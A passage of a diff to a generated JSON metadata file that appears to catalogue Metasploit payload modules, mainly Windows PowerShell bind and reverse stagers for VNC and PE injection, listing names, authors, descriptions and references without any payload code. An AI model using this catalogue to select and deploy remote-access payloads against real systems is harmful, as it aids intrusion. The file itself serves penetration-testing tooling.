"cmd/windows/powershell/vncinject/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -184285,9 +193820,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp": { + "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp", "aliases": [ ], @@ -184296,14 +193831,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", - "skape ", - "sf " + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184314,7 +193849,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/vncinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -184323,9 +193858,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid": { + "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -184334,15 +193869,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184353,7 +193888,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -184362,9 +193897,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/bind_named_pipe": { + "payload_cmd/windows/powershell/vncinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/peinject/bind_named_pipe", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_named_pipe", "aliases": [ ], @@ -184373,12 +193908,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184389,7 +193925,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_named_pipe", + "ref_name": "cmd/windows/powershell/vncinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -184398,9 +193934,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/bind_nonx_tcp": { + "payload_cmd/windows/powershell/vncinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_nonx_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_nonx_tcp", "aliases": [ ], @@ -184409,12 +193945,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184425,7 +193962,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/vncinject/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -184434,9 +193971,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/bind_tcp": { + "payload_cmd/windows/powershell/vncinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp", "aliases": [ ], @@ -184445,14 +193982,92 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", - "skape ", - "sf " + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/vncinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/vncinject/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/vncinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/vncinject/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184463,7 +194078,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_tcp", + "ref_name": "cmd/windows/powershell/vncinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -184472,9 +194087,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_rc4", + "payload_cmd/windows/powershell/vncinject/find_tag": { + "name": "Powershell Exec, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/vncinject/find_tag", "aliases": [ ], @@ -184483,16 +194098,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", - "hdm ", - "skape ", "sf ", - "mihi", - "RageLtMan" + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184503,18 +194115,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/vncinject/find_tag", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_uuid", + "payload_cmd/windows/powershell/vncinject/reverse_hop_http": { + "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_hop_http", "aliases": [ ], @@ -184523,13 +194135,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", - "hdm ", - "OJ Reeves" + "sf ", + "scriptjunkie ", + "bannedit ", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184540,7 +194154,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/vncinject/reverse_hop_http", "check": false, "post_auth": false, "default_credential": false, @@ -184549,9 +194163,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/find_tag": { - "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/peinject/find_tag", + "payload_cmd/windows/powershell/vncinject/reverse_http": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http", "aliases": [ ], @@ -184560,12 +194174,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", - "skape " + "sf ", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184576,7 +194191,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/find_tag", + "ref_name": "cmd/windows/powershell/vncinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -184585,9 +194200,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/vncinject/reverse_http_proxy_pstore": { + "name": "Powershell Exec, Reverse HTTP Stager Proxy", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", "aliases": [ ], @@ -184596,14 +194211,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", - "hdm ", - "skape ", - "sf " + "sf ", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184614,7 +194228,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", "check": false, "post_auth": false, "default_credential": false, @@ -184623,9 +194237,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_named_pipe": { - "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_named_pipe", + "payload_cmd/windows/powershell/vncinject/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ipv6_tcp", "aliases": [ ], @@ -184634,12 +194248,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", - "OJ Reeves" + "sf ", + "hdm ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184650,7 +194266,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_named_pipe", + "ref_name": "cmd/windows/powershell/vncinject/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -184659,9 +194275,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_nonx_tcp": { + "payload_cmd/windows/powershell/vncinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_nonx_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_nonx_tcp", "aliases": [ ], @@ -184670,12 +194286,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184686,7 +194303,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -184695,9 +194312,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_ord_tcp": { + "payload_cmd/windows/powershell/vncinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_ord_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ord_tcp", "aliases": [ ], @@ -184706,12 +194323,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184722,7 +194340,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -184731,9 +194349,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_tcp": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp", "aliases": [ ], @@ -184742,14 +194360,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", - "skape ", - "sf " + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184760,7 +194378,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -184769,9 +194387,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_allports": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_allports", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_allports", "aliases": [ ], @@ -184780,14 +194398,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", - "skape ", - "sf " + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184798,7 +194416,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, @@ -184807,9 +194425,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_dns": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_dns", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_dns", "aliases": [ ], @@ -184818,15 +194436,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184837,7 +194455,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, @@ -184846,9 +194464,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4", "aliases": [ ], @@ -184857,16 +194475,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "mihi", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184877,7 +194495,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -184886,9 +194504,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4_dns": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", "aliases": [ ], @@ -184897,16 +194515,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "mihi", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184917,7 +194535,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, @@ -184926,9 +194544,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_uuid": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_uuid", "aliases": [ ], @@ -184937,13 +194555,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184954,7 +194573,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -184963,9 +194582,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/pingback_bind_tcp": { - "name": "Powershell Exec, Windows x86 Pingback, Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/pingback_bind_tcp", + "payload_cmd/windows/powershell/vncinject/reverse_winhttp": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_winhttp", "aliases": [ ], @@ -184974,11 +194593,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7" + "sf ", + "hdm ", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nOpen a socket and report UUID when a connection is received (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184989,7 +194611,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/pingback_bind_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, @@ -184998,9 +194620,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/pingback_reverse_tcp": { - "name": "Powershell Exec, Windows x86 Pingback, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/pingback_reverse_tcp", + "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp", "aliases": [ ], @@ -185009,9 +194631,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7" + "bwatters-r7", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", "references": [ ], @@ -185022,9 +194645,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/pingback_reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -185033,9 +194656,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/powershell_bind_tcp": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/powershell_bind_tcp", + "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -185044,52 +194667,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "vlad902 ", - "sf " + "bwatters-r7", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/powershell_bind_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/powershell/powershell_reverse_tcp": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp", - "aliases": [ - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "vlad902 ", - "sf " - ], - "description": "Execute an x86 payload from a command via PowerShell", - "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -185098,9 +194682,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/powershell_reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -185109,9 +194693,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/powershell_reverse_tcp_ssl": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp_ssl", + "payload_cmd/windows/powershell/x64/custom/bind_named_pipe": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_named_pipe", "aliases": [ ], @@ -185120,14 +194704,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "vlad902 ", - "sf " + "bwatters-r7", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via 